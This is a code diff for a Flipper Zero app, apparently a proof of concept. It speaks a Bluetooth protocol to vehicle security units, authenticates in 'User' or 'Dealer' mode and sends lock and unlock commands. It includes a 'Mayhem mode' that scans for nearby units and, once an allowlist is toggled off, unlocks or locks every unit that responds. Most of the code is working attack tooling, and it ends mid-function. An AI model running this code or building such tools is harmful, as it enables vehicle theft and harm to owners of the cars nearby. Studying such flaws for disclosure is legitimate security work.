+bool qt_generate_hash(
+    QtMode mode,
+    const uint8_t challenge[QT_CHALLENGE_LEN],
+    const char* unit_serial,
+    uint8_t out[QT_HASH_OUT_LEN]);
@@ -0,0 +1,82 @@
+#include "qt_protocol.h"
+#include <string.h>
+
+size_t qt_protocol_generate(
+    QtCommand command,
+    const uint8_t* data,
+    size_t data_len,
+    uint8_t* out_buf,
+    size_t out_buf_size) {
+    bool data_is_null = (data == NULL);
+    size_t effective_data_len = data_is_null ? 1 : data_len;
+    size_t payload_len = effective_data_len + 1;
+    size_t frame_len = 5 + effective_data_len;
+
+    if(frame_len > out_buf_size) {
+        return 0;
+    }
+
+    memset(out_buf, 0, frame_len);
+
+    out_buf[1] = (uint8_t)((payload_len >> 8) & 0xFF);
+    out_buf[2] = (uint8_t)(payload_len & 0xFF);
+    out_buf[3] = (uint8_t)command;
+
+    if(!data_is_null) {
+        memcpy(&out_buf[4], data, data_len);
+    }
+
+    uint32_t checksum = 0;
+    for(size_t i = 0; i < frame_len; i++) {
+        checksum += out_buf[i];
+    }
+    uint8_t crc = (uint8_t)((~(checksum & 0xFF)) + 1);
+    out_buf[frame_len - 1] = crc;
+
+    out_buf[0] = QT_MARKER;
+
+    return frame_len;
+}
+
+bool qt_protocol_parse(
+    const uint8_t* uart,
+    size_t uart_len,
+    size_t offset,
+    uint8_t* command_out,
+    uint8_t* data_out,
+    size_t data_out_max,
+    size_t* data_len_out) {
+    if(offset >= uart_len) return false;
+    if(uart[offset] != QT_MARKER) return false;
+    if(offset + 3 > uart_len) return false;
+
+    uint16_t length = ((uint16_t)uart[offset + 1] << 8) | uart[offset + 2];
+
+    size_t crc_pos = offset + 3 + length;
+    if(crc_pos >= uart_len) return false;
+    uint8_t crc_received = uart[crc_pos];
+
+    size_t window_start = offset + 1;
+    size_t window_len = (size_t)length + 2;
+    if(window_start + window_len > uart_len) return false;
+
+    uint32_t checksum = 0;
+    for(size_t i = 0; i < window_len; i++) {
+        checksum += uart[window_start + i];
+    }
+    checksum &= 0xFF;
+
+    if(((crc_received + checksum) & 0xFF) != 0) {
+        return false;
+    }
+
+    *command_out = uart[offset + 3];
+
+    size_t dlen = (length >= 1) ? (length - 1) : 0;
+    if(dlen > data_out_max) return false;
+
+    memcpy(data_out, &uart[offset + 4], dlen);
+    *data_len_out = dlen;
+
+    return true;
+}
@@ -0,0 +1,37 @@
+#pragma once
+
+#include <stdint.h>
+#include <stdbool.h>
+#include <stddef.h>
+
+#define QT_MARKER 0xAA
+#define QT_MAX_DATA_LEN 64
+#define QT_MAX_FRAME_LEN (QT_MAX_DATA_LEN + 5)
+
+typedef enum {
+    QtCmd_LockDoors = 0x0B,
+    QtCmd_UnlockDoors = 0x0C,
+    QtCmd_SilentLock = 0x25,
+    QtCmd_SilentUnlock = 0x26,
+
+    QtCmd_AuthInit = 0x22,
+    QtCmd_AuthChallenge = 0x0E,
+    QtCmd_AuthResponse = 0x0F,
+    QtCmd_AuthSuccess = 0x10,
+} QtCommand;
+
+size_t qt_protocol_generate(
+    QtCommand command,
+    const uint8_t* data,
+    size_t data_len,
+    uint8_t* out_buf,
+    size_t out_buf_size);
+
+bool qt_protocol_parse(
+    const uint8_t* uart,
+    size_t uart_len,
+    size_t offset,
+    uint8_t* command_out,
+    uint8_t* data_out,
+    size_t data_out_max,
+    size_t* data_len_out);
@@ -0,0 +1,97 @@
+#include "karr_poc_app.h"
+#include "scenes/karr_poc_scene.h"
+
+extern const SceneManagerHandlers karr_poc_scene_handlers;
+
+const char* const karr_default_allowlist[] = {
+    "PLACEHOLDER-SERIAL-1",
+    "PLACEHOLDER-SERIAL-2",
+};
+const size_t karr_default_allowlist_count =
+    sizeof(karr_default_allowlist) / sizeof(karr_default_allowlist[0]);
+
+static bool karr_poc_app_custom_event_callback(void* context, uint32_t event) {
+    KarrPocApp* app = context;
+    return scene_manager_handle_custom_event(app->scene_manager, event);
+}
+
+static bool karr_poc_app_back_event_callback(void* context) {
+    KarrPocApp* app = context;
+    return scene_manager_handle_back_event(app->scene_manager);
+}
+
+static KarrPocApp* karr_poc_app_alloc(void) {
+    KarrPocApp* app = malloc(sizeof(KarrPocApp));
+    memset(app, 0, sizeof(KarrPocApp));
+
+    app->gui = furi_record_open(RECORD_GUI);
+
+    app->view_dispatcher = view_dispatcher_alloc();
+    app->scene_manager = scene_manager_alloc(&karr_poc_scene_handlers, app);
+
+    view_dispatcher_set_event_callback_context(app->view_dispatcher, app);
+    view_dispatcher_set_custom_event_callback(app->view_dispatcher, karr_poc_app_custom_event_callback);
+    view_dispatcher_set_navigation_event_callback(app->view_dispatcher, karr_poc_app_back_event_callback);
+
+    app->submenu = submenu_alloc();
+    view_dispatcher_add_view(app->view_dispatcher, KarrPocView_Submenu, submenu_get_view(app->submenu));
+
+    app->widget = widget_alloc();
+    view_dispatcher_add_view(app->view_dispatcher, KarrPocView_Widget, widget_get_view(app->widget));
+
+    app->text_box = text_box_alloc();
+    view_dispatcher_add_view(app->view_dispatcher, KarrPocView_TextBox, text_box_get_view(app->text_box));
+
+    app->log_text = furi_string_alloc();
+
+    app->mode = QtMode_User;
+    app->pending_command = QtCmd_UnlockDoors;
+
+    app->allowlist_enabled = true;
+    app->allowlist_count = karr_default_allowlist_count < KARR_ALLOWLIST_MAX
+                                ? karr_default_allowlist_count
+                                : KARR_ALLOWLIST_MAX;
+    for(size_t i = 0; i < app->allowlist_count; i++) {
+        strncpy(app->allowlist[i], karr_default_allowlist[i], KARR_BLE_NAME_MAX_LEN - 1);
+        app->allowlist[i][KARR_BLE_NAME_MAX_LEN - 1] = '\0';
+    }
+    app->mayhem_mode = QtMode_User;
+    app->mayhem_command = QtCmd_UnlockDoors;
+
+    view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen);
+
+    return app;
+}
+
+static void karr_poc_app_free(KarrPocApp* app) {
+    furi_string_free(app->log_text);
+
+    view_dispatcher_remove_view(app->view_dispatcher, KarrPocView_Submenu);
+    submenu_free(app->submenu);
+
+    view_dispatcher_remove_view(app->view_dispatcher, KarrPocView_Widget);
+    widget_free(app->widget);
+
+    view_dispatcher_remove_view(app->view_dispatcher, KarrPocView_TextBox);
+    text_box_free(app->text_box);
+
+    scene_manager_free(app->scene_manager);
+    view_dispatcher_free(app->view_dispatcher);
+
+    furi_record_close(RECORD_GUI);
+
+    free(app);
+}
+
+int32_t karr_poc_app(void* p) {
+    UNUSED(p);
+
+    KarrPocApp* app = karr_poc_app_alloc();
+
+    scene_manager_next_scene(app->scene_manager, KarrPocScene_Start);
+    view_dispatcher_run(app->view_dispatcher);
+
+    karr_poc_app_free(app);
+
+    return 0;
+}
@@ -0,0 +1,69 @@
+#pragma once
+
+#include <furi.h>
+#include <gui/gui.h>
+#include <gui/view_dispatcher.h>
+#include <gui/scene_manager.h>
+#include <gui/modules/submenu.h>
+#include <gui/modules/widget.h>
+#include <gui/modules/text_box.h>
+
+#include "helpers/karr_ble.h"
+#include "helpers/qt_auth.h"
+#include "helpers/qt_protocol.h"
+
+#define KARR_POC_LOG_MAX_LEN 1024
+
+typedef enum {
+    KarrPocView_Submenu,
+    KarrPocView_Widget,
+    KarrPocView_TextBox,
+} KarrPocView;
+
+#define KARR_ALLOWLIST_MAX 4
+
+extern const char* const karr_default_allowlist[];
+extern const size_t karr_default_allowlist_count;
+
+typedef struct {
+    Gui* gui;
+    ViewDispatcher* view_dispatcher;
+    SceneManager* scene_manager;
+
+    Submenu* submenu;
+    Widget* widget;
+    TextBox* text_box;
+
+    KarrBleDevice devices[KARR_BLE_MAX_DEVICES];
+    size_t device_count;
+    size_t selected_device;
+
+    QtMode mode;
+    QtCommand pending_command;
+
+    char allowlist[KARR_ALLOWLIST_MAX][KARR_BLE_NAME_MAX_LEN];
+    size_t allowlist_count;
+    bool allowlist_enabled;
+    QtMode mayhem_mode;
+    QtCommand mayhem_command;
+
+    FuriString* log_text;
+} KarrPocApp;
+
+typedef enum {
+    KarrPocEvent_DeviceFound,
+    KarrPocEvent_AuthStep,
+    KarrPocEvent_AuthDone,
+    KarrPocEvent_AuthFailed,
+    KarrPocEvent_CommandDone,
+
+    KarrPocEvent_MayhemToggleAllowlist,
+    KarrPocEvent_MayhemUnlockUser,
+    KarrPocEvent_MayhemLockUser,
+    KarrPocEvent_MayhemUnlockDealer,
+    KarrPocEvent_MayhemLockDealer,
+    KarrPocEvent_MayhemConfirmYes,
+    KarrPocEvent_MayhemConfirmNo,
+    KarrPocEvent_MayhemScanDone,
+    KarrPocEvent_MayhemRunDone,
+} KarrPocCustomEvent;
@@ -0,0 +1,26 @@
+#include "karr_poc_scene.h"
+
+#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_enter,
+void (*const karr_poc_scene_on_enter_handlers[])(void*) = {
+#include "karr_poc_scene_config.h"
+};
+#undef ADD_SCENE
+
+#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_event,
+bool (*const karr_poc_scene_on_event_handlers[])(void* context, SceneManagerEvent event) = {
+#include "karr_poc_scene_config.h"
+};
+#undef ADD_SCENE
+
+#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_exit,
+void (*const karr_poc_scene_on_exit_handlers[])(void* context) = {
+#include "karr_poc_scene_config.h"
+};
+#undef ADD_SCENE
+
+const SceneManagerHandlers karr_poc_scene_handlers = {
+    .on_enter_handlers = karr_poc_scene_on_enter_handlers,
+    .on_event_handlers = karr_poc_scene_on_event_handlers,
+    .on_exit_handlers = karr_poc_scene_on_exit_handlers,
+    .scene_num = KarrPocScene_count,
+};
@@ -0,0 +1,17 @@
+#pragma once
+
+#include <gui/scene_manager.h>
+
+#define ADD_SCENE(prefix, name, id) KarrPocScene_##id,
+typedef enum {
+#include "karr_poc_scene_config.h"
+    KarrPocScene_count,
+} KarrPocScene;
+#undef ADD_SCENE
+
+#define ADD_SCENE(prefix, name, id)          \
+    void prefix##_scene_##name##_on_enter(void* context); \
+    bool prefix##_scene_##name##_on_event(void* context, SceneManagerEvent event); \
+    void prefix##_scene_##name##_on_exit(void* context);
+#include "karr_poc_scene_config.h"
+#undef ADD_SCENE
@@ -0,0 +1,91 @@
+#include "karr_poc_scene.h"
+#include "../karr_poc_app.h"
+
+static const char* karr_ble_status_label(KarrBleStatus status) {
+    switch(status) {
+    case KarrBleStatus_ScanStarted:
+        return "Scan started";
+    case KarrBleStatus_DeviceFound:
+        return "Device found";
+    case KarrBleStatus_Connecting:
+        return "Connecting";
+    case KarrBleStatus_Connected:
+        return "Connected";
+    case KarrBleStatus_ServiceDiscovered:
+        return "Service/char OK";
+    case KarrBleStatus_AuthInitSent:
+        return "TX 0x22 (init)";
+    case KarrBleStatus_ChallengeReceived:
+        return "RX 0x0E (challenge)";
+    case KarrBleStatus_AuthResponseSent:
+        return "TX 0x0F (hash)";
+    case KarrBleStatus_AuthSuccess:
+        return "RX 0x10 (success)";
+    case KarrBleStatus_AuthFailed:
+        return "AUTH FAILED";
+    case KarrBleStatus_CommandSent:
+        return "Command sent";
+    case KarrBleStatus_Disconnected:
+        return "Disconnected";
+    case KarrBleStatus_Error:
+        return "ERROR";
+    default:
+        return "?";
+    }
+}
+
+static void karr_poc_scene_auth_ble_callback(KarrBleStatus status, const char* message, void* context) {
+    KarrPocApp* app = context;
+
+    furi_string_cat_printf(app->log_text, "%s: %s\n", karr_ble_status_label(status), message);
+    text_box_set_text(app->text_box, furi_string_get_cstr(app->log_text));
+
+    if(status == KarrBleStatus_AuthSuccess) {
+        view_dispatcher_send_custom_event(app->view_dispatcher, KarrPocEvent_AuthDone);
+    } else if(status == KarrBleStatus_AuthFailed || status == KarrBleStatus_Error) {
+        view_dispatcher_send_custom_event(app->view_dispatcher, KarrPocEvent_AuthFailed);
+    }
+}
+
+void karr_poc_scene_auth_on_enter(void* context) {
+    KarrPocApp* app = context;
+    KarrBleDevice* dev = &app->devices[app->selected_device];
+
+    furi_string_reset(app->log_text);
+    text_box_reset(app->text_box);
+    text_box_set_font(app->text_box, TextBoxFontText);
+
+    view_dispatcher_switch_to_view(app->view_dispatcher, KarrPocView_TextBox);
+
+    bool ok = karr_ble_connect_and_auth(dev, app->mode, karr_poc_scene_auth_ble_callback, app);
+
+    if(!ok) {
+        view_dispatcher_send_custom_event(app->view_dispatcher, KarrPocEvent_AuthFailed);
+    }
+}
+
+bool karr_poc_scene_auth_on_event(void* context, SceneManagerEvent event) {
+    KarrPocApp* app = context;
+    bool consumed = false;
+
+    if(event.type == SceneManagerEventTypeCustom) {
+        if(event.event == KarrPocEvent_AuthDone) {
+            bool sent = karr_ble_send_command(app->pending_command);
+            furi_string_cat_printf(
+                app->log_text, "\n%s\n", sent ? "Command sent OK" : "Failed to send command");
+            text_box_set_text(app->text_box, furi_string_get_cstr(app->log_text));
+
+            scene_manager_next_scene(app->scene_manager, KarrPocScene_Result);
+            consumed = true;
+        } else if(event.event == KarrPocEvent_AuthFailed) {
+            scene_manager_next_scene(app->scene_manager, KarrPocScene_Result);
+            consumed = true;
+        }
+    }
+
+    return consumed;
+}
+
+void karr_poc_scene_auth_on_exit(void* context) {
+    UNUSED(context);
+}
@@ -0,0 +1,9 @@
+ADD_SCENE(karr_poc, start, Start)
+ADD_SCENE(karr_poc, scan, Scan)
+ADD_SCENE(karr_poc, device_menu, DeviceMenu)
+ADD_SCENE(karr_poc, auth, Auth)
+ADD_SCENE(karr_poc, result, Result)
+ADD_SCENE(karr_poc, mayhem_menu, MayhemMenu)
+ADD_SCENE(karr_poc, mayhem_confirm, MayhemConfirm)
+ADD_SCENE(karr_poc, mayhem_scan, MayhemScan)
+ADD_SCENE(karr_poc, mayhem_run, MayhemRun)
@@ -0,0 +1,86 @@
+#include "karr_poc_scene.h"
+#include "../karr_poc_app.h"
+
+typedef enum {
+    KarrPocDeviceMenuIndex_UnlockUser,
+    KarrPocDeviceMenuIndex_LockUser,
+    KarrPocDeviceMenuIndex_UnlockDealer,
+    KarrPocDeviceMenuIndex_LockDealer,
+} KarrPocDeviceMenuIndex;
+
+static void karr_poc_scene_device_menu_submenu_callback(void* context, uint32_t index) {
+    KarrPocApp* app = context;
+    view_dispatcher_send_custom_event(app->view_dispatcher, index);
+}
+
+void karr_poc_scene_device_menu_on_enter(void* context) {
+    KarrPocApp* app = context;
+    KarrBleDevice* dev = &app->devices[app->selected_device];
+
+    submenu_reset(app->submenu);
+    submenu_set_header(app->submenu, dev->name);
+
+    submenu_add_item(
+        app->submenu,
+        "Unlock (mode User)",
+        KarrPocDeviceMenuIndex_UnlockUser,
+        karr_poc_scene_device_menu_submenu_callback,
+        app);
+    submenu_add_item(
+        app->submenu,
+        "Lock (mode User)",
+        KarrPocDeviceMenuIndex_LockUser,
+        karr_poc_scene_device_menu_submenu_callback,
+        app);
+    submenu_add_item(
+        app->submenu,
+        "Unlock (mode Dealer)",
+        KarrPocDeviceMenuIndex_UnlockDealer,
+        karr_poc_scene_device_menu_submenu_callback,
+        app);
+    submenu_add_item(
+        app->submenu,
+        "Lock (mode Dealer)",
+        KarrPocDeviceMenuIndex_LockDealer,
+        karr_poc_scene_device_menu_submenu_callback,
+        app);
+
+    view_dispatcher_switch_to_view(app->view_dispatcher, KarrPocView_Submenu);
+}
+
+bool karr_poc_scene_device_menu_on_event(void* context, SceneManagerEvent event) {
+    KarrPocApp* app = context;
+    bool consumed = false;
+
+    if(event.type == SceneManagerEventTypeCustom) {
+        switch(event.event) {
+        case KarrPocDeviceMenuIndex_UnlockUser:
+            app->mode = QtMode_User;
+            app->pending_command = QtCmd_UnlockDoors;
+            break;
+        case KarrPocDeviceMenuIndex_LockUser:
+            app->mode = QtMode_User;
+            app->pending_command = QtCmd_LockDoors;
+            break;
+        case KarrPocDeviceMenuIndex_UnlockDealer:
+            app->mode = QtMode_Dealer;
+            app->pending_command = QtCmd_UnlockDoors;
+            break;
+        case KarrPocDeviceMenuIndex_LockDealer:
+            app->mode = QtMode_Dealer;
+            app->pending_command = QtCmd_LockDoors;
+            break;
+        default:
+            return false;
+        }
+        scene_manager_next_scene(app->scene_manager, KarrPocScene_Auth);
+        consumed = true;
+    }
+
+    return consumed;
+}
+
+void karr_poc_scene_device_menu_on_exit(void* context) {
+    KarrPocApp* app = context;
+    submenu_reset(app->submenu);
+}
@@ -0,0 +1,57 @@
+#include "karr_poc_scene.h"
+#include "../karr_poc_app.h"
+
+static void karr_poc_scene_mayhem_confirm_widget_callback(
+    GuiButtonType result,
+    InputType type,
+    void* context) {
+    KarrPocApp* app = context;
+    if(type == InputTypeShort) {
+        view_dispatcher_send_custom_event(app->view_dispatcher, result);
+    }
+}
+
+void karr_poc_scene_mayhem_confirm_on_enter(void* context) {
+    KarrPocApp* app = context;
+
+    widget_reset(app->widget);
+    widget_add_text_scroll_element(
+        app->widget,
+        0,
+        0,
+        128,
+        44,
+        "ALLOWLIST DISABLED\n\n"
+        "This will send the command\n"
+        "to ALL units that respond\n"
+        "nearby, without filtering.\n\n"
+        "Are you sure?");
+    widget_add_button_element(
+        app->widget, GuiButtonTypeLeft, "Cancel", karr_poc_scene_mayhem_confirm_widget_callback, app);
+    widget_add_button_element(
+        app->widget, GuiButtonTypeRight, "Yes, do it", karr_poc_scene_mayhem_confirm_widget_callback, app);
+
+    view_dispatcher_switch_to_view(app->view_dispatcher, KarrPocView_Widget);
+}
+
+bool karr_poc_scene_mayhem_confirm_on_event(void* context, SceneManagerEvent event) {
+    KarrPocApp* app = context;
+    bool consumed = false;
+
+    if(event.type == SceneManagerEventTypeCustom) {
+        if(event.event == GuiButtonTypeRight) {
+            scene_manager_next_scene(app->scene_manager, KarrPocScene_MayhemScan);
+            consumed = true;
+        } else if(event.event == GuiButtonTypeLeft) {
+            scene_manager_search_and_switch_to_previous_scene(app->scene_manager, KarrPocScene_MayhemMenu);
+            consumed = true;
+        }
+    }
+
+    return consumed;
+}
+
+void karr_poc_scene_mayhem_confirm_on_exit(void* context) {
+    KarrPocApp* app = context;
+    widget_reset(app->widget);
+}
@@ -0,0 +1,110 @@
+#include "karr_poc_scene.h"
+#include "../karr_poc_app.h"
+#include <stdio.h>
+
+static void karr_poc_scene_mayhem_menu_submenu_callback(void* context, uint32_t index) {
+    KarrPocApp* app = context;
+    view_dispatcher_send_custom_event(app->view_dispatcher, index);
+}
+
+void karr_poc_scene_mayhem_menu_on_enter(void* context) {
+    KarrPocApp* app = context;
+
+    submenu_reset(app->submenu);
+    submenu_set_header(app->submenu, "Mayhem mode");
+
+    char allowlist_label[48];
+    snprintf(
+        allowlist_label,
+        sizeof(allowlist_label),
+        "Allowlist: %s (%zu)",
+        app->allowlist_enabled ? "ON" : "OFF",
+        app->allowlist_count);
+
+    submenu_add_item(
+        app->submenu,
+        allowlist_label,
+        KarrPocEvent_MayhemToggleAllowlist,
+        karr_poc_scene_mayhem_menu_submenu_callback,
+        app);
+    submenu_add_item(
+        app->submenu,
+        "Unlock All (User)",
+        KarrPocEvent_MayhemUnlockUser,
+        karr_poc_scene_mayhem_menu_submenu_callback,
+        app);
+    submenu_add_item(
+        app->submenu,
+        "Lock All (User)",
+        KarrPocEvent_MayhemLockUser,
+        karr_poc_scene_mayhem_menu_submenu_callback,
+        app);
+    submenu_add_item(
+        app->submenu,
+        "Unlock All (Dealer)",
+        KarrPocEvent_MayhemUnlockDealer,
+        karr_poc_scene_mayhem_menu_submenu_callback,
+        app);
+    submenu_add_item(
+        app->submenu,
+        "Lock All (Dealer)",
+        KarrPocEvent_MayhemLockDealer,
+        karr_poc_scene_mayhem_menu_submenu_callback,
+        app);
+
+    view_dispatcher_switch_to_view(app->view_dispatcher, KarrPocView_Submenu);
+}
+
+bool karr_poc_scene_mayhem_menu_on_event(void* context, SceneManagerEvent event) {
+    KarrPocApp* app = context;
+    bool consumed = false;
+
+    if(event.type != SceneManagerEventTypeCustom) return false;
+
+    if(event.event == KarrPocEvent_MayhemToggleAllowlist) {
+        app->allowlist_enabled = !app->allowlist_enabled;
+        karr_poc_scene_mayhem_menu_on_enter(app);
+        return true;
+    }
+
+    QtMode mode;
+    QtCommand command;
+
+    switch(event.event) {
+    case KarrPocEvent_MayhemUnlockUser:
+        mode = QtMode_User;
+        command = QtCmd_UnlockDoors;
+        break;
+    case KarrPocEvent_MayhemLockUser:
+        mode = QtMode_User;
+        command = QtCmd_LockDoors;
+        break;
+    case KarrPocEvent_MayhemUnlockDealer:
+        mode = QtMode_Dealer;
+        command = QtCmd_UnlockDoors;
+        break;
+    case KarrPocEvent_MayhemLockDealer:
+        mode = QtMode_Dealer;
+        command = QtCmd_LockDoors;
+        break;
+    default:
+        return false;
+    }
+
+    app->mayhem_mode = mode;
+    app->mayhem_command = command;
+
+    if(app->allowlist_enabled) {
+        scene_manager_next_scene(app->scene_manager, KarrPocScene_MayhemScan);
+    } else {
+        scene_manager_next_scene(app->scene_manager, KarrPocScene_MayhemConfirm);
+    }
+    consumed = true;
+
+    return consumed;
+}
+
+void karr_poc_scene_mayhem_menu_on_exit(void* context) {
+    KarrPocApp* app = context;
+    submenu_reset(app->submenu);
+}
@@ -0,0 +1,97 @@
+#include "karr_poc_scene.h"
+#include "../karr_poc_app.h"
+#include <string.h>
+
+static bool karr_poc_device_in_allowlist(KarrPocApp* app, const char* name) {
+    for(size_t i = 0; i < app->allowlist_count; i++) {
+        if(strcmp(app->allowlist[i], name) == 0) return true;
+    }
+    return false;
+}
+
+static void karr_poc_scene_mayhem_run_device_callback(
+    const KarrBleDevice* device,
+    KarrMayhemResult result,
+    void* context) {
+    KarrPocApp* app = context;
+
+    const char* label;
+    switch(result) {
+    case KarrMayhemResult_Success:
+        label = "OK";
+        break;
+    case KarrMayhemResult_AuthFailed:
+        label = "AUTH FAILED";
+        break;
+    case KarrMayhemResult_ConnectFailed:
+        label = "CONNECT FAILED";
+        break;
+    default:
+        label = "?";
+        break;
+    }
+
+    furi_string_cat_printf(app->log_text, "%s -> %s\n", device->name, label);
+    text_box_set_text(app->text_box, furi_string_get_cstr(app->log_text));
+}
+
+void karr_poc_scene_mayhem_run_on_enter(void* context) {
+    KarrPocApp* app = context;
+
+    text_box_reset(app->text_box);
+    view_dispatcher_switch_to_view(app->view_dispatcher, KarrPocView_TextBox);
+
+    KarrBleDevice targets[KARR_BLE_MAX_DEVICES];
+    size_t target_count = 0;
+
+    for(size_t i = 0; i < app->device_count; i++) {
+        bool allowed = !app->allowlist_enabled || karr_poc_device_in_allowlist(app, app->devices[i].name);
+        if(allowed && target_count < KARR_BLE_MAX_DEVICES) {
+            targets[target_count++] = app->devices[i];
+        }
+    }
+
+    furi_string_cat_printf(
+        app->log_text,
+        "\nMayhem: %zu of %zu units%s\n\n",
+        target_count,
+        app->device_count,
+        app->allowlist_enabled ? " (filtered by allowlist)" : "");
+    text_box_set_text(app->text_box, furi_string_get_cstr(app->log_text));
+
+    if(target_count == 0) {
+        furi_string_cat_str(
+            app->log_text, "No units found match the\nallowlist. Nothing to do.\n");
+        text_box_set_text(app->text_box, furi_string_get_cstr(app->log_text));
+        view_dispatcher_send_custom_event(app->view_dispatcher, KarrPocEvent_MayhemRunDone);
+        return;
+    }
+
+    karr_ble_mayhem_run(
+        targets,
+        target_count,
+        app->mayhem_mode,
+        app->mayhem_command,
+        karr_poc_scene_mayhem_run_device_callback,
+        app);
+
+    view_dispatcher_send_custom_event(app->view_dispatcher, KarrPocEvent_MayhemRunDone);
+}
+
+bool karr_poc_scene_mayhem_run_on_event(void* context, SceneManagerEvent event) {
+    KarrPocApp* app = context;
+    bool consumed = false;
+
+    if(event.type == SceneManagerEventTypeCustom) {
+        if(event.event == KarrPocEvent_MayhemRunDone) {
+            scene_manager_next_scene(app->scene_manager, KarrPocScene_Result);
+            consumed = true;
+        }
+    }
+
+    return consumed;
+}
+
+void karr_poc_scene_mayhem_run_on_exit(void* context) {
+    UNUSED(context);
+}
@@ -0,0 +1,70 @@
+#include "karr_poc_scene.h"
+#include "../karr_poc_app.h"
+#include <string.h>
+
+#define MAYHEM_SCAN_DURATION_MS 4000
+
+static void karr_poc_scene_mayhem_scan_ble_callback(
+    KarrBleStatus status,
+    const char* message,
+    void* context) {
+    KarrPocApp* app = context;
+
+    if(status == KarrBleStatus_DeviceFound) {
+        if(app->device_count < KARR_BLE_MAX_DEVICES) {
+            KarrBleDevice* dev = &app->devices[app->device_count];
+            strncpy(dev->name, message, KARR_BLE_NAME_MAX_LEN - 1);
+            dev->name[KARR_BLE_NAME_MAX_LEN - 1] = '\0';
+            memset(dev->address, 0, sizeof(dev->address));
+            dev->rssi = 0;
+            app->device_count++;
+        }
+    }
+}
+
+void karr_poc_scene_mayhem_scan_on_enter(void* context) {
+    KarrPocApp* app = context;
+
+    app->device_count = 0;
+    furi_string_reset(app->log_text);
+    text_box_reset(app->text_box);
+    furi_string_cat_str(app->log_text, "Scanning for devices...\n\nPlease wait...\n");
+    text_box_set_text(app->text_box, furi_string_get_cstr(app->log_text));
+
+    view_dispatcher_switch_to_view(app->view_dispatcher, KarrPocView_TextBox);
+
+    karr_ble_scan_start(karr_poc_scene_mayhem_scan_ble_callback, app);
+
+    furi_delay_ms(MAYHEM_SCAN_DURATION_MS);
+
+    karr_ble_scan_stop();
+
+    furi_string_reset(app->log_text);
+    furi_string_cat_printf(
+        app->log_text, "Scan complete: %zu devices found\n\n", app->device_count);
+    for(size_t i = 0; i < app->device_count; i++) {
+        furi_string_cat_printf(
+            app->log_text, "%zu. %s\n", i + 1, app->devices[i].name);
+    }
+    text_box_set_text(app->text_box, furi_string_get_cstr(app->log_text));
+
+    view_dispatcher_send_custom_event(app->view_dispatcher, KarrPocEvent_MayhemScanDone);
+}
+
+bool karr_poc_scene_mayhem_scan_on_event(void* context, SceneManagerEvent event) {
+    KarrPocApp* app = context;
+    bool consumed = false;
+
+    if(event.type == SceneManagerEventTypeCustom) {
+        if(event.event == KarrPocEvent_MayhemScanDone) {
+            scene_manager_next_scene(app->scene_manager, KarrPocScene_MayhemRun);
+            consumed = true;
+        }
+    }
+
+    return consumed;
+}
+
+void karr_poc_scene_mayhem_scan_on_exit(void* context) {
+    UNUSED(context);
+}
@@ -0,0 +1,42 @@
+#include "karr_poc_scene.h"
+#include "../karr_poc_app.h"
+
+static void karr_poc_scene_result_widget_callback(GuiButtonType result, InputType type, void* context) {
+    KarrPocApp* app = context;
+    if(type == InputTypeShort) {
+        view_dispatcher_send_custom_event(app->view_dispatcher, result);
+    }
+}
+
+void karr_poc_scene_result_on_enter(void* context) {
+    KarrPocApp* app = context;
+
+    widget_reset(app->widget);
+    widget_add_text_scroll_element(
+        app->widget, 0, 0, 128, 50, furi_string_get_cstr(app->log_text));
+    widget_add_button_element(
+        app->widget, GuiButtonTypeCenter, "Back to start", karr_poc_scene_result_widget_callback, app);
+
+    karr_ble_disconnect();
+
+    view_dispatcher_switch_to_view(app->view_dispatcher, KarrPocView_Widget);
+}
+
+bool karr_poc_scene_result_on_event(void* context, SceneManagerEvent event) {
+    KarrPocApp* app = context;
+    bool consumed = false;
+
+    if(event.type == SceneManagerEventTypeCustom) {
+        if(event.event == GuiButtonTypeCenter) {
+            scene_manager_search_and_switch_to_previous_scene(app->scene_manager, KarrPocScene_Start);
+            consumed = true;
+        }
+    }
+
+    return consumed;
+}
+
+void karr_poc_scene_result_on_exit(void* context) {
+    KarrPocApp* app = context;
+    widget_reset(app->widget);
+}
@@ -0,0 +1,67 @@
+#include "karr_poc_scene.h"
+#include "../karr_poc_app.h"
+#include <string.h>
+
+static void karr_poc_scene_scan_submenu_callback(void* context, uint32_t index) {
+    KarrPocApp* app = context;
+    view_dispatcher_send_custom_event(app->view_dispatcher, index);
+}
+
+static void karr_poc_scene_scan_ble_callback(KarrBleStatus status, const char* message, void* context) {
+    KarrPocApp* app = context;
+
+    if(status == KarrBleStatus_DeviceFound) {
+        if(app->device_count < KARR_BLE_MAX_DEVICES) {
+            KarrBleDevice* dev = &app->devices[app->device_count];
+            strncpy(dev->name, message, KARR_BLE_NAME_MAX_LEN - 1);
+            dev->name[KARR_BLE_NAME_MAX_LEN - 1] = '\0';
+            memset(dev->address, 0, sizeof(dev->address));
+            dev->rssi = 0;
+
+            submenu_add_item(
+                app->submenu,
+                dev->name,
+                app->device_count,
+                karr_poc_scene_scan_submenu_callback,
+                app);
+
+            app->device_count++;
+        }
+    }
+}
+
+void karr_poc_scene_scan_on_enter(void* context) {
+    KarrPocApp* app = context;
+
+    app->device_count = 0;
+    submenu_reset(app->submenu);
+    submenu_set_header(app->submenu, "Scanning...");
+
+    view_dispatcher_switch_to_view(app->view_dispatcher, KarrPocView_Submenu);
+
+    karr_ble_scan_start(karr_poc_scene_scan_ble_callback, app);
+
+    submenu_set_header(app->submenu, "Units found:");
+}
+
+bool karr_poc_scene_scan_on_event(void* context, SceneManagerEvent event) {
+    KarrPocApp* app = context;
+    bool consumed = false;
+
+    if(event.type == SceneManagerEventTypeCustom) {
+        uint32_t index = event.event;
+        if(index < app->device_count) {
+            app->selected_device = index;
+            scene_manager_next_scene(app->scene_manager, KarrPocScene_DeviceMenu);
+            consumed = true;
+        }
+    }
+
+    return consumed;
+}
+
+void karr_poc_scene_scan_on_exit(void* context) {
+    KarrPocApp* app = context;
+    karr_ble_scan_stop();
+    submenu_reset(app->submenu);
+}
@@ -0,0 +1,68 @@
+#include "karr_poc_scene.h"
+#include "../karr_poc_app.h"
+
+typedef enum {
+    KarrPocStartIndex_Scan,
+    KarrPocStartIndex_Mayhem,
+    KarrPocStartIndex_About,
+} KarrPocStartIndex;
+
+static void karr_poc_scene_start_submenu_callback(void* context, uint32_t index) {
+    KarrPocApp* app = context;
+    view_dispatcher_send_custom_event(app->view_dispatcher, index);
+}
+
+void karr_poc_scene_start_on_enter(void* context) {
